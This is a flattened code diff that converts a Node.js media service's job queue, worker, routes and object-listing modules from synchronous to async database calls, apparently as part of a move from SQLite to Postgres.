t.unref();bus.on(ev, done);});@@@ -450,7 +453,7 @@ function waitFor(id, timeoutMs = 60000) {// ── Reads ────────────────────────────────────────────────────/** Cursor list, newest first. filters: status, type, objectId, ownerUserId (acting user: own jobs + jobs on own objects). */--function list(appId, { status, type, objectId, cursor, limit = 50, actingUserId = null } = {}) {++async function list(appId, { status, type, objectId, cursor, limit = 50, actingUserId = null } = {}) {const conds = ['j.app_id = ?'], params = [appId];if (cursor) { conds.push('j.id < ?'); params.push(String(cursor)); }if (status) { conds.push('j.status = ?'); params.push(String(status)); }@@@ -461,21 +464,21 @@ function list(appId, { status, type, objectId, cursor, limit = 50, actingUserIdparams.push(actingUserId, actingUserId);}const n = Math.min(Math.max(parseInt(limit, 10) || 50, 1), 200);-- const rows = db.all(`SELECT j.* FROM media_jobs j WHERE ${conds.join(' AND ')} ORDER BY j.id DESC LIMIT ?`, [...params, n + 1]);++ const rows = await db.all(`SELECT j.* FROM media_jobs j WHERE ${conds.join(' AND ')} ORDER BY j.id DESC LIMIT ?`, [...params, n + 1]);const page = rows.slice(0, n);return { jobs: page, next_cursor: rows.length > n ? page[page.length - 1].id : null, limit: n };}--function counts() {++async function counts() {const out = Object.fromEntries(STATUSES.map(s => [s, 0]));-- for (const r of db.all('SELECT status, COUNT(*) AS n FROM media_jobs GROUP BY status')) out[r.status] = r.n;++ for (const r of await db.all('SELECT status, COUNT(*) AS n FROM media_jobs GROUP BY status')) out[r.status] = r.n;return out;}/** Delete finished jobs of high-volume types older than `days` (thumbnail requests, scheduled hashing). Others are kept. */--function prune({ days = 30, types = ['thumbnail.regenerate', 'object.hash'] } = {}) {-- return db.run(`DELETE FROM media_jobs WHERE status IN ('succeeded', 'failed', 'cancelled') AND job_type IN (${types.map(() => '?').join(', ')})-- AND finished_at < datetime('now', ?)`, [...types, `-${Math.max(1, days)} days`]).changes;++async function prune({ days = 30, types = ['thumbnail.regenerate', 'object.hash'] } = {}) {++ return (await db.run(`DELETE FROM media_jobs WHERE status IN ('succeeded', 'failed', 'cancelled') AND job_type IN (${types.map(() => '?').join(', ')})++ AND finished_at < datetime('now', ?)`, [...types, `-${Math.max(1, days)} days`])).changes;}module.exports = {@@@ -43,22 +43,22 @@ function who(req) {return `app:${req.appId}${req.authType === 'user' ? `:user:${req.userId}` : ''}`;}--function ownsJob(req, job) {++async function ownsJob(req, job) {if (req.authType !== 'user') return true;if (job.owner_user_id != null && job.owner_user_id === req.userId) return true;-- const obj = job.object_id ? model.getObject(job.object_id) : null;++ const obj = job.object_id ? await model.getObject(job.object_id) : null;return !!(obj && obj.owner_user_id != null && obj.owner_user_id === req.userId);}--function load(req, res) {-- const job = queue.getForApp(String(req.params.jobId || ''), req.appId);-- if (!job || !ownsJob(req, job)) { problem(res, 404, 'media.job.not_found', 'No such job in this namespace'); return null; }++async function load(req, res) {++ const job = await queue.getForApp(String(req.params.jobId || ''), req.appId);++ if (!job || !await ownsJob(req, job)) { problem(res, 404, 'media.job.not_found', 'No such job in this namespace'); return null; }return job;}/** Transform is granted per namespace: the job's object's, or the tenant's root for a job with none (else answered). */--function mayTransform(req, res, obj) {-- const g = namespaceGrant(req, 'transform', obj ? obj.namespace : db.rootNamespace(req.appRow));++async function mayTransform(req, res, obj) {++ const g = await namespaceGrant(req, 'transform', obj ? obj.namespace : db.rootNamespace(req.appRow));if (!g.allowed) { problem(res, 403, g.code, g.reason); return false; }return true;}@@@ -75,12 +75,12 @@ function sendJobError(res, err) {const router = express.Router({ mergeParams: true });router.use(tenantCors);--router.get('/', list, limits('media.job.list'), (req, res) => {++router.get('/', list, limits('media.job.list'), async (req, res) => {try {const q = req.query;if (q.cursor && !/^mjob_[0-9A-Za-z_]{1,40}$/.test(String(q.cursor))) return problem(res, 400, 'media.job.invalid', 'Bad cursor');if (q.status && !queue.STATUSES.includes(String(q.status))) return problem(res, 400, 'media.job.invalid', `status must be one of ${queue.STATUSES.join(', ')}`);-- const out = queue.list(req.appId, {++ const out = await queue.list(req.appId, {status: q.status, type: q.type, objectId: q.object_id, cursor: q.cursor, limit: q.limit,actingUserId: req.authType === 'user' ? req.userId : null,});@@@ -88,7 +88,7 @@ router.get('/', list, limits('media.job.list'), (req, res) => {} catch (err) { sendJobError(res, err); }});--router.post('/', transform, limits('media.job.create', QUEUE), (req, res) => {++router.post('/', transform, limits('media.job.create', QUEUE), async (req, res) => {try {const b = req.body || {};const type = String(b.type || '');@@@ -96,7 +96,7 @@ router.post('/', transform, limits('media.job.create', QUEUE), (req, res) => {if (!spec) return problem(res, 400, 'media.job.unknown_type', `type must be one of ${queue.typeNames().join(', ')}`);let obj = null;if (b.object_id != null && b.object_id !== '') {-- obj = model.resolveObject(String(b.object_id), req.appId);++ obj = await model.resolveObject(String(b.object_id), req.appId);if (!obj || (req.authType === 'user' && obj.visibility === 'private' && obj.owner_user_id !== req.userId)) {return problem(res, 404, 'media.object.not_found', 'No such object in this namespace');}@@@ -104,14 +104,14 @@ router.post('/', transform, limits('media.job.create', QUEUE), (req, res) => {} else if (spec.needsObject) {return problem(res, 400, 'media.job.invalid', `${type} needs object_id`);}-- if (!mayTransform(req, res, obj)) return;++ if (!await mayTransform(req, res, obj)) return;if (b.params != null && (typeof b.params !== 'object' || Array.isArray(b.params) || JSON.stringify(b.params).length > 16384)) {return problem(res, 400, 'media.job.invalid', 'params must be an object of at most 16 KB');}-- const params = spec.validate ? spec.validate({ appId: req.appId, obj, params: b.params || {} }) : (b.params || {});++ const params = spec.validate ? await spec.validate({ appId: req.appId, obj, params: b.params || {} }) : (b.params || {});const key = req.headers['idempotency-key'] || b.idempotency_key || null;if (key != null && !/^[\x21-\x7e]{1,200}$/.test(String(key))) return problem(res, 400, 'media.job.invalid', 'Idempotency-Key must be 1-200 visible ASCII characters');-- const r = queue.enqueue({++ const r = await queue.enqueue({appId: req.appId, type, objectId: obj ? obj.id : null, params, idempotencyKey: key,createdBy: who(req), ownerUserId: req.authType === 'user' ? req.userId : null, maxAttempts: b.max_attempts,});@@@ -121,28 +121,28 @@ router.post('/', transform, limits('media.job.create', QUEUE), (req, res) => {} catch (err) { sendJobError(res, err); }});--router.get('/:jobId', read, limits('media.job.read'), (req, res) => {-- const job = load(req, res);++router.get('/:jobId', read, limits('media.job.read'), async (req, res) => {++ const job = await load(req, res);if (job) res.json({ job: queue.jobPublic(job) });});--router.post('/:jobId/approve', transform, limits('media.job.approve', QUEUE), (req, res) => {++router.post('/:jobId/approve', transform, limits('media.job.approve', QUEUE), async (req, res) => {try {-- const job = load(req, res);-- if (!job || !mayTransform(req, res, job.object_id ? model.getObject(job.object_id) : null)) return;++ const job = await load(req, res);++ if (!job || !await mayTransform(req, res, job.object_id ? await model.getObject(job.object_id) : null)) return;if (job.status !== 'proposed') return problem(res, 409, 'media.job.not_proposed', `The job is ${job.status}; only proposals are approved`);-- const out = queue.approve(job.id, { by: who(req) });++ const out = await queue.approve(job.id, { by: who(req) });if (!out) return problem(res, 409, 'media.job.not_proposed', 'The job was decided meanwhile');require('./worker').kick();res.json({ job: queue.jobPublic(out) });} catch (err) { sendJobError(res, err); }});--function cancelHandler(req, res) {++async function cancelHandler(req, res) {try {-- const job = load(req, res);-- if (!job || !mayTransform(req, res, job.object_id ? model.getObject(job.object_id) : null)) return;-- const out = queue.cancel(job.id, { by: who(req) });++ const job = await load(req, res);++ if (!job || !await mayTransform(req, res, job.object_id ? await model.getObject(job.object_id) : null)) return;++ const out = await queue.cancel(job.id, { by: who(req) });if (out.finished) return problem(res, 409, 'media.job.finished', `The job already ${out.job.status}`);res.status(out.pending ? 202 : 200).json({ job: queue.jobPublic(out.job) });} catch (err) { sendJobError(res, err); }@@@ -53,12 +53,12 @@ async function run(job) {}/** Queue one scan every MEDIA_ORPHAN_SCAN_DAYS (0 = never). Returns how many were queued (0 or 1). */--function schedule(nowMs = Date.now()) {++async function schedule(nowMs = Date.now()) {const days = envInt('MEDIA_ORPHAN_SCAN_DAYS', 30);if (!(days > 0)) return 0;const period = Math.floor(nowMs / (days * 86400 * 1000));try {-- const r = queue.enqueue({ appId: queue.SYSTEM_APP, type: TYPE, params: {}, idempotencyKey: `${TYPE}:${days}d:${period}`, createdBy: 'system:schedule' });++ const r = await queue.enqueue({ appId: queue.SYSTEM_APP, type: TYPE, params: {}, idempotencyKey: `${TYPE}:${days}d:${period}`, createdBy: 'system:schedule' });return r.created ? 1 : 0;} catch (err) {console.warn(`[Jobs] could not schedule ${TYPE}: ${err.message}`);@@@ -28,14 +28,14 @@ function targetOf(obj, params = {}) {return { kind, id };}--function rowOf(appId, kind, id) {-- return kind === 'vod' ? db.getVodById(id, appId) : db.getClipById(id, appId);++async function rowOf(appId, kind, id) {++ return kind === 'vod' ? await db.getVodById(id, appId) : await db.getClipById(id, appId);}/** Normalized params, or JobError (400). The row must exist in this tenant (and match the object when one is named). */--function validate({ appId, obj, params }) {++async function validate({ appId, obj, params }) {const t = targetOf(obj, params || {});-- const row = rowOf(appId, t.kind, t.id);++ const row = await rowOf(appId, t.kind, t.id);if (!row) throw new JobError('media.job.not_found', `${t.kind} ${t.id} not found`, { status: 404, permanent: true });if (obj && row.object_id && row.object_id !== obj.id) throw new JobError('media.job.invalid', `the object is not ${t.kind} ${t.id}`, { permanent: true });return t;@@@ -43,7 +43,7 @@ function validate({ appId, obj, params }) {async function run(job) {const { kind, id } = targetOf(null, job.params);-- const row = rowOf(job.app_id, kind, id);++ const row = await rowOf(job.app_id, kind, id);if (!row) throw new JobError('not_found', `${kind} ${id} not found`, { permanent: true });const thumbService = require('../thumbnails/thumbnail-service');// A recording the health scan found empty or gone has no frame to take (five such VODs failed as@@@ -62,10 +62,10 @@ function vodIdOf(obj, params = {}) {}/** API validation: the VOD must be this tenant's (and the named object's). */--function validate({ appId, obj, params }) {++async function validate({ appId, obj, params }) {const id = vodIdOf(obj, params || {});if (!Number.isInteger(id) || id < 1) throw new JobError('media.job.invalid', 'vod.finalize needs params.vod_id (or a vod object)', { permanent: true });-- const vod = db.getVodById(id, appId);++ const vod = await db.getVodById(id, appId);if (!vod) throw new JobError('media.job.not_found', `vod ${id} not found`, { status: 404, permanent: true });if (obj && vod.object_id && vod.object_id !== obj.id) throw new JobError('media.job.invalid', `the object is not vod ${id}`, { permanent: true });return { vod_id: id };@@@ -81,7 +81,7 @@ function needsFinalize(vod) {async function run(job) {const vodId = Number(job.params && job.params.vod_id);-- const vod = db.getVodById(vodId, job.app_id);++ const vod = await db.getVodById(vodId, job.app_id);if (!vod) return { outcome: 'skipped', vod_id: vodId, reason: 'the vod no longer exists' };const holder = busy(vodId);if (holder === 'finalizing') throw new JobError('busy', 'a finalize of this vod is already running', { retryAfterS: 60 });@@@ -94,7 +94,7 @@ async function run(job) {} catch (err) {throw new JobError('finalize_threw', `finalize failed: ${err.message}`);}-- const after = db.getVodById(vodId, job.app_id);++ const after = await db.getVodById(vodId, job.app_id);if (!after) return { outcome: 'deleted', vod_id: vodId, reason: 'no media was ever written (empty or missing file)' };if (after.is_recording) throw new JobError('busy', 'the vod is still marked recording after finalize', { retryAfterS: 60 });const still = issuesOf(after).find(i => RETRYABLE[i]);@@@ -112,11 +112,11 @@ async function run(job) {* Queue a finalize for this VOD (joins one that is already queued or running). Never throws;* returns { job, created } or null. `reason` goes into created_by (system:vod.finalize:<reason>).*/--function queueFinalize(vodOrId, reason, { runAfterS = 0 } = {}) {++async function queueFinalize(vodOrId, reason, { runAfterS = 0 } = {}) {try {-- const vod = typeof vodOrId === 'object' ? vodOrId : db.getVodById(Number(vodOrId));++ const vod = typeof vodOrId === 'object' ? vodOrId : await db.getVodById(Number(vodOrId));if (!vod) return null;-- const r = queue.enqueue({++ const r = await queue.enqueue({appId: vod.app_id, type: TYPE, objectId: vod.object_id || null, params: { vod_id: vod.id },dedupeActive: true, createdBy: `system:${TYPE}:${reason}`, runAfterS,});@@@ -135,10 +135,10 @@ function queueFinalize(vodOrId, reason, { runAfterS = 0 } = {}) {* Recordings left is_recording = 1 with nothing holding them. `graceMs`: the file must not have* changed for this long (a chunk upload resuming after a restart keeps writing it). Returns ids.*/--function orphans({ grace = graceMs(), now = Date.now() } = {}) {++async function orphans({ grace = graceMs(), now = Date.now() } = {}) {const out = [];// clips_only recordings too: their finalize discards them (file and row).-- for (const row of db.all('SELECT id, file_path FROM vods WHERE is_recording = 1 ORDER BY id')) {++ for (const row of await db.all('SELECT id, file_path FROM vods WHERE is_recording = 1 ORDER BY id')) {if (busy(row.id)) continue;let mtime = 0;try { mtime = row.file_path ? fs.statSync(row.file_path).mtimeMs : 0; } catch { mtime = 0; }@@@ -151,11 +151,11 @@ function orphans({ grace = graceMs(), now = Date.now() } = {}) {let lastSweepAt = 0;/** Queue vod.finalize for every orphan (due every MEDIA_FINALIZE_SWEEP_S; `force` = now). */--function sweepOrphans({ force = false, now = Date.now(), grace } = {}) {++async function sweepOrphans({ force = false, now = Date.now(), grace } = {}) {if (!force && now - lastSweepAt < sweepEveryMs()) return 0;lastSweepAt = now;let n = 0;-- for (const id of orphans({ grace, now })) { const r = queueFinalize(id, 'orphan'); if (r && r.created) n++; }++ for (const id of await orphans({ grace, now })) { const r = await queueFinalize(id, 'orphan'); if (r && r.created) n++; }return n;}@@@ -72,9 +72,9 @@ async function execute(row, laneName) {const leaseS = cfg().leaseS;const token = row.lease_token;let cancelRequested = !!row.cancel_requested;-- const beat = setInterval(() => {++ const beat = setInterval(async () => {try {-- const r = queue.renew(row.id, { leaseS, token });++ const r = await queue.renew(row.id, { leaseS, token });if (!r.held) { clearInterval(beat); ac.abort(new queue.JobError('media.job.lease_lost', 'this worker no longer holds the job', { permanent: true })); return; }if (r.cancelRequested && !cancelRequested) { cancelRequested = true; ac.abort(new Error('cancelled by its owner')); }} catch { /* next beat */ }@@@ -89,23 +89,23 @@ async function execute(row, laneName) {signal: ac.signal,checkpoint: queue.parseJson(row.checkpoint, null),attempt: row.attempts,-- saveCheckpoint: (cp, alsoInTx) => { queue.saveCheckpoint(row.id, cp, alsoInTx, { token }); ctx.checkpoint = cp; },++ saveCheckpoint: async (cp, alsoInTx) => { await queue.saveCheckpoint(row.id, cp, alsoInTx, { token }); ctx.checkpoint = cp; },cancelled: () => cancelRequested,};try {if (!spec) throw new queue.JobError('media.job.unknown_type', `No handler for ${row.job_type}`, { permanent: true });const result = await spec.run(queue.jobPublic(row), ctx);-- queue.succeed(row.id, result, { token });++ await queue.succeed(row.id, result, { token });} catch (err) {-- const fresh = queue.get(row.id);++ const fresh = await queue.get(row.id);if (cancelRequested || (fresh && fresh.cancel_requested)) {-- queue.markCancelled(row.id, { result: ctx.checkpoint ? { checkpoint: ctx.checkpoint } : null, token });++ await queue.markCancelled(row.id, { result: ctx.checkpoint ? { checkpoint: ctx.checkpoint } : null, token });} else {const permanent = !!(err && err.permanent);const attempts = fresh ? fresh.attempts : row.attempts;const more = !permanent && attempts < (fresh ? fresh.max_attempts : row.max_attempts);const retryIn = err && err.retryAfterS != null ? err.retryAfterS : backoffS(spec || {}, attempts);-- const failed = queue.fail(row.id, { message: (err && err.message) || String(err), code: (err && err.code) || null, retryInS: more ? retryIn : null, token });++ const failed = await queue.fail(row.id, { message: (err && err.message) || String(err), code: (err && err.code) || null, retryInS: more ? retryIn : null, token });if (failed && !more) console.warn(`[Jobs] ${row.job_type} ${row.id} failed: ${(err && err.message) || err}`);}} finally {@@@ -122,22 +122,22 @@ async function execute(row, laneName) {* Resolves when it finishes; resolves null when someone else already took it.*/async function runNow(id) {-- const row = queue.claim([], { id, leaseS: cfg().leaseS });++ const row = await queue.claim([], { id, leaseS: cfg().leaseS });if (!row) return null;await execute(row, 'direct');-- return queue.get(id);++ return await queue.get(id);}--function scheduleInvariantScans(nowMs = Date.now()) {++async function scheduleInvariantScans(nowMs = Date.now()) {const hours = cfg().invariantScanHours;if (!hours || hours <= 0) return 0;const periodMs = hours * 3600 * 1000;const period = Math.floor(nowMs / periodMs);let n = 0;-- const tenants = db.all(`SELECT DISTINCT app_id FROM media_objects WHERE kind IN ('vod', 'clip') AND visibility != 'private' AND lifecycle_status = 'ready'`);++ const tenants = await db.all(`SELECT DISTINCT app_id FROM media_objects WHERE kind IN ('vod', 'clip') AND visibility != 'private' AND lifecycle_status = 'ready'`);for (const { app_id: appId } of tenants) {try {-- const r = queue.enqueue({ appId, type: 'invariant.scan', params: {}, idempotencyKey: `invariant.scan:${hours}h:${period}`, createdBy: 'system:schedule' });++ const r = await queue.enqueue({ appId, type: 'invariant.scan', params: {}, idempotencyKey: `invariant.scan:${hours}h:${period}`, createdBy: 'system:schedule' });if (r.created) n++;} catch (err) { console.warn(`[Jobs] could not schedule invariant.scan for ${appId}: ${err.message}`); }}@@@ -150,26 +150,26 @@ async function tick() {try {do {kicked = false;-- queue.recoverInterrupted({ except: new Set(running.keys()) });++ await queue.recoverInterrupted({ except: new Set(running.keys()) });const now = Date.now();if (now - lastScheduleAt > 10 * 60 * 1000) {lastScheduleAt = now;-- scheduleInvariantScans(now);-- try { require('./duration-reconcile').schedule(now); } catch (err) { console.warn('[Jobs] duration reconcile schedule:', err.message); }-- try { require('./content-hash').schedule(now); } catch (err) { console.warn('[Jobs] content hash schedule:', err.message); }-- try { require('./storage-orphans').schedule(now); } catch (err) { console.warn('[Jobs] storage orphan scan schedule:', err.message); }++ await scheduleInvariantScans(now);++ try { await require('./duration-reconcile').schedule(now); } catch (err) { console.warn('[Jobs] duration reconcile schedule:', err.message); }++ try { await require('./content-hash').schedule(now); } catch (err) { console.warn('[Jobs] content hash schedule:', err.message); }++ try { await require('./storage-orphans').schedule(now); } catch (err) { console.warn('[Jobs] storage orphan scan schedule:', err.message); }}-- try { require('./vod-finalize').sweepOrphans({ now }); } catch (err) { console.warn('[Jobs] orphan sweep:', err.message); }++ try { await require('./vod-finalize').sweepOrphans({ now }); } catch (err) { console.warn('[Jobs] orphan sweep:', err.message); }if (now - lastPruneAt > 6 * 3600 * 1000) {lastPruneAt = now;-- try { const n = queue.prune({ days: cfg().retentionDays }); if (n) console.log(`[Jobs] pruned ${n} finished thumbnail/hash job(s)`); } catch { /* next time */ }++ try { const n = await queue.prune({ days: cfg().retentionDays }); if (n) console.log(`[Jobs] pruned ${n} finished thumbnail/hash job(s)`); } catch { /* next time */ }}for (const lane of lanes()) {if (lane.name === 'heavy' && !cfg().heavyWhileRecording && recordingActive()) continue;while (inLane(lane.name) < lane.max) {-- const row = queue.claim(lane.types, { leaseS: cfg().leaseS });++ const row = await queue.claim(lane.types, { leaseS: cfg().leaseS });if (!row) break;-- execute(row, lane.name);++ execute(row, lane.name).catch((err) => console.warn(`[Jobs] ${row.id}: ${err.message}`)); // runs in its lane; the loop claims the next}}} while (kicked);@@@ -193,10 +193,10 @@ function abort(id) {return !!r;}--function start() {++async function start() {if (started || !cfg().enabled) return false;started = true;-- const n = queue.recoverInterrupted({ all: true });++ const n = await queue.recoverInterrupted({ all: true });if (n) console.log(`[Jobs] ${n} job(s) interrupted by the restart were requeued or failed`);lastScheduleAt = Date.now(); // the first scheduled scan waits a few minutes after boottimer = setInterval(() => { tick().catch(() => {}); }, cfg().pollMs);@@@ -214,8 +214,8 @@ function stop() {for (const r of running.values()) r.ac.abort(new Error('the service is stopping'));}--function status() {-- return { enabled: cfg().enabled, started, running: [...running.entries()].map(([id, r]) => ({ id, lane: r.lane })), counts: queue.counts(), stale_refused: queue.staleStats() };++async function status() {++ return { enabled: cfg().enabled, started, running: [...running.entries()].map(([id, r]) => ({ id, lane: r.lane })), counts: await queue.counts(), stale_refused: queue.staleStats() };}module.exports = { start, stop, kick, tick, abort, runNow, execute, status, scheduleInvariantScans, isStarted: () => started, _running: running };@@@ -78,9 +78,9 @@ function parseFilters(query = {}) {}/** The tenant as the person sees it: id, name, whether it is a developer project's sandbox. */--function tenantOf(appId, cache = new Map()) {++async function tenantOf(appId, cache = new Map()) {if (!cache.has(appId)) {-- const app = db.getApp(appId);++ const app = await db.getApp(appId);cache.set(appId, {app_id: appId,name: (app && app.name) || appId,@@@ -92,12 +92,12 @@ function tenantOf(appId, cache = new Map()) {}/** Non-deleted objects made out of each of `ids`: Map<id, count>. */--function derivativeCounts(ids) {++async function derivativeCounts(ids) {const out = new Map();if (!ids.length) return out;const ph = ids.map(() => '?').join(', ');const rels = DERIVED_RELATIONS.map(() => '?').join(', ');-- const rows = db.all(`SELECT x.src AS src, COUNT(DISTINCT x.d) AS n FROM (++ const rows = await db.all(`SELECT x.src AS src, COUNT(DISTINCT x.d) AS n FROM (SELECT v.object_id AS src, v.derived_object_id AS d FROM media_variants v WHERE v.object_id IN (${ph})UNIONSELECT r.to_object_id, r.from_object_id FROM media_relationships r WHERE r.to_object_id IN (${ph}) AND r.relation IN (${rels})@@@ -123,13 +123,13 @@ function inFlightBytes(ctx, id) {* How far a native upload has got: a multipart session's parts received, the bytes a PUT stored (the* upload then waits for complete), or a PUT still streaming. Bytes received vs the declared size.*/--function uploadProgress(obj, locs, ctx) {++async function uploadProgress(obj, locs, ctx) {const declared = Number(obj.size_bytes) || 0;-- const session = db.get("SELECT * FROM media_uploads WHERE object_id = ? AND status IN ('active', 'completing') ORDER BY created_at DESC LIMIT 1", [obj.id]);-- const reservation = db.get('SELECT expires_at FROM media_quota_reservations WHERE object_id = ?', [obj.id]);++ const session = await db.get("SELECT * FROM media_uploads WHERE object_id = ? AND status IN ('active', 'completing') ORDER BY created_at DESC LIMIT 1", [obj.id]);++ const reservation = await db.get('SELECT expires_at FROM media_quota_reservations WHERE object_id = ?', [obj.id]);let out;if (session) {-- const parts = db.get('SELECT COUNT(*) AS n, COALESCE(SUM(size_bytes), 0) AS b FROM media_upload_parts WHERE upload_id = ?', [session.id]);++ const parts = await db.get('SELECT COUNT(*) AS n, COALESCE(SUM(size_bytes), 0)::bigint AS b FROM media_upload_parts WHERE upload_id = ?', [session.id]);out = {method: 'multipart', waiting_for: session.status === 'completing' ? 'assembly' : 'parts',received_bytes: parts.b, parts_received: parts.n, parts_expected: session.parts_expected,@@@ -151,11 +151,11 @@ function uploadProgress(obj, locs, ctx) {}/** One object as its owner sees it: no keys, paths, staff notes or other people's data. */--function item(obj, ctx, derivatives = 0) {++async function item(obj, ctx, derivatives = 0) {const md = model.parseJson(obj.metadata, {}) || {};-- const locs = model.listLocations(obj.id);-- const r = readiness.compute(obj, locs);-- const tenant = tenantOf(obj.app_id, ctx.tenants);++ const locs = await model.listLocations(obj.id);++ const r = await readiness.compute(obj, locs);++ const tenant = await tenantOf(obj.app_id, ctx.tenants);const ready = obj.lifecycle_status === 'ready';return {id: obj.id,@@@ -171,9 +171,9 @@ function item(obj, ctx, derivatives = 0) {lifecycle_status: obj.lifecycle_status,readiness: { metadata: r.metadata, bytes_verified: r.bytes_verified, playable: r.playable, reason: r.reason },// Only whether a retention hold keeps it; its kind, reason, note and who placed it are staff's.-- held: model.isHeld(obj.id),++ held: await model.isHeld(obj.id),derivatives,-- upload: obj.lifecycle_status === 'uploading' && !obj.legacy_ref ? uploadProgress(obj, locs, ctx) : null,++ upload: obj.lifecycle_status === 'uploading' && !obj.legacy_ref ? await uploadProgress(obj, locs, ctx) : null,failure: obj.lifecycle_status === 'failed' ? text(md.failure, 60) : null,deleted: obj.lifecycle_status === 'deleted'? { deleted_at: iso(obj.deleted_at), retention_until: iso(md.retention_until), purged: !!md.purged_at } : null,@@@ -185,7 +185,7 @@ function item(obj, ctx, derivatives = 0) {}/** A page of the subject's objects, newest first: { objects, next_cursor, limit }. */--function list(subject, filters = {}) {++async function list(subject, filters = {}) {const f = { limit: DEFAULT_LIMIT, ...filters };const conds = ['o.owner_subject = @subject'];const p = { subject };@@@ -199,49 +199,49 @@ function list(subject, filters = {}) {p.q = f.q; p.ql = f.q.toLowerCase();}const limit = Math.min(Math.max(Number(f.limit) || DEFAULT_LIMIT, 1), MAX_LIMIT);-- const rows = db.all(`SELECT o.* FROM media_objects o WHERE ${conds.join(' AND ')} ORDER BY o.id DESC LIMIT ${limit + 1}`, p);++ const rows = await db.all(`SELECT o.* FROM media_objects o WHERE ${conds.join(' AND ')} ORDER BY o.id DESC LIMIT ${limit + 1}`, p);const page = rows.slice(0, limit);-- const counts = derivativeCounts(page.map(o => o.id));++ const counts = await derivativeCounts(page.map(o => o.id));const ctx = { tenants: new Map() };return {-- objects: page.map(o => item(o, ctx, counts.get(o.id) || 0)),++ objects: (await Promise.all(page.map(async o => await item(o, ctx, counts.get(o.id) || 0)))),next_cursor: rows.length > limit ? page[page.length - 1].id : null,limit,};}/** One of the subject's objects (med_ id or legacy ref) with copies, derivatives and jobs; null when it is not theirs. */--function detail(subject, idOrRef) {++async function detail(subject, idOrRef) {const key = String(idOrRef || '');-- const obj = key.startsWith('legacy:') ? model.getObjectByLegacyRef(key) : (ID_RE.test(key) ? model.getObject(key) : null);++ const obj = key.startsWith('legacy:') ? await model.getObjectByLegacyRef(key) : (ID_RE.test(key) ? await model.getObject(key) : null);if (!obj || !subject || obj.owner_subject !== subject) return null;const ctx = { tenants: new Map() };const derived = new Map();-- for (const v of db.all('SELECT variant_name, derived_object_id FROM media_variants WHERE object_id = ? ORDER BY id', [obj.id])) {++ for (const v of await db.all('SELECT variant_name, derived_object_id FROM media_variants WHERE object_id = ? ORDER BY id', [obj.id])) {derived.set(v.derived_object_id, v.variant_name);}-- for (const r of db.all(`SELECT relation, from_object_id FROM media_relationships WHERE to_object_id = ? AND relation IN (${DERIVED_RELATIONS.map(() => '?').join(', ')}) ORDER BY id`,++ for (const r of await db.all(`SELECT relation, from_object_id FROM media_relationships WHERE to_object_id = ? AND relation IN (${DERIVED_RELATIONS.map(() => '?').join(', ')}) ORDER BY id`,[obj.id, ...DERIVED_RELATIONS])) {if (!derived.has(r.from_object_id)) derived.set(r.from_object_id, r.relation === 'thumbnail_of' ? 'thumbnail' : 'derived');}const derivatives = [];for (const [id, name] of derived) {-- const d = model.getObject(id);++ const d = await model.getObject(id);if (!d) continue;derivatives.push({ id: d.id, name, kind: d.kind, visibility: d.visibility, lifecycle_status: d.lifecycle_status, size_bytes: Number(d.size_bytes) || 0, mine: d.owner_subject === subject, created_at: iso(d.created_at) });}// What it was made from, when that is the person's too (a clip of someone else's stream names no one's VOD).-- const src = db.get(`SELECT r.relation, r.to_object_id FROM media_relationships r JOIN media_objects s ON s.id = r.to_object_id++ const src = await db.get(`SELECT r.relation, r.to_object_id FROM media_relationships r JOIN media_objects s ON s.id = r.to_object_idWHERE r.from_object_id = ? AND r.relation IN ('derived_from', 'thumbnail_of', 'clip_of') AND s.owner_subject = ? ORDER BY r.id LIMIT 1`, [obj.id, subject]);-- const jobs = db.all(`SELECT id, job_type, status, error_code, attempts, max_attempts, created_at, finished_at FROM media_jobs-- WHERE object_id = ? ORDER BY id DESC LIMIT 10`, [obj.id]).map(j => ({++ const jobs = (await db.all(`SELECT id, job_type, status, error_code, attempts, max_attempts, created_at, finished_at FROM media_jobs++ WHERE object_id = ? ORDER BY id DESC LIMIT 10`, [obj.id])).map(j => ({id: j.id, type: j.job_type, status: j.status, error_code: j.error_code || null, attempts: j.attempts, max_attempts: j.max_attempts,created_at: iso(j.created_at), finished_at: iso(j.finished_at),}));return {-- ...item(obj, ctx, derivatives.filter(d => d.lifecycle_status !== 'deleted').length),++ ...await item(obj, ctx, derivatives.filter(d => d.lifecycle_status !== 'deleted').length),content_hash: obj.content_hash || null,-- locations: model.listLocations(obj.id).map(l => ({++ locations: (await model.listLocations(obj.id)).map(l => ({provider: l.provider, storage_class: l.storage_class, state: l.state, size_bytes: l.size_bytes,verified_at: iso(l.verified_at), canonical: l.provider === obj.canonical_provider,})),@@@ -268,8 +268,8 @@ function group(rows) {* The subject's usage: their own objects and bytes per tenant and namespace (never a tenant's totals or* quota). Uploading bytes are the declared sizes; deleted ones are kept until the retention purge.*/--function usage(subject) {-- const rows = db.all(`SELECT app_id, namespace, lifecycle_status AS status, COUNT(*) AS n, COALESCE(SUM(size_bytes), 0) AS b++async function usage(subject) {++ const rows = await db.all(`SELECT app_id, namespace, lifecycle_status AS status, COUNT(*) AS n, COALESCE(SUM(size_bytes), 0)::bigint AS bFROM media_objects WHERE owner_subject = ? GROUP BY app_id, namespace, lifecycle_status ORDER BY app_id, namespace`, [subject]);const tenants = new Map();const cache = new Map();@@@ -283,11 +283,11 @@ function usage(subject) {return {subject,totals: group(rows),-- tenants: [...tenants].map(([appId, t]) => ({-- ...tenantOf(appId, cache),++ tenants: (await Promise.all([...tenants].map(async ([appId, t]) => ({++ ...await tenantOf(appId, cache),...group(t.rows),namespaces: [...t.namespaces].map(([namespace, nsRows]) => ({ namespace, ...group(nsRows) })),-- })),++ })))),quotas: null,note: 'Your own objects only. Quotas are set per app and namespace by their operators and are not shown here.',};@@@ -27,23 +27,23 @@ function scoped(appId, col = 'app_id') {return appId ? { sql: ` AND ${col} = ?`, params: [appId] } : { sql: '', params: [] };}--function tableExists(name) {-- return !!db.get("SELECT 1 AS x FROM sqlite_master WHERE type = 'table' AND name = ?", [name]);++async function tableExists(name) {++ return !!await db.get("SELECT 1 AS x FROM information_schema.tables WHERE table_schema = current_schema() AND table_name = ?", [name]);}// ── Jobs ─────────────────────────────────────────────────────--function jobs(appId, limit) {++async function jobs(appId, limit) {const s = scoped(appId);const byStatus = {};-- for (const r of db.all(`SELECT status, COUNT(*) AS n FROM media_jobs WHERE 1 = 1${s.sql} GROUP BY status`, s.params)) byStatus[r.status] = r.n;++ for (const r of await db.all(`SELECT status, COUNT(*) AS n FROM media_jobs WHERE 1 = 1${s.sql} GROUP BY status`, s.params)) byStatus[r.status] = r.n;const total = byStatus.failed || 0;-- const week = db.all(`SELECT job_type, COALESCE(error_code, '') AS error_code, COUNT(*) AS n 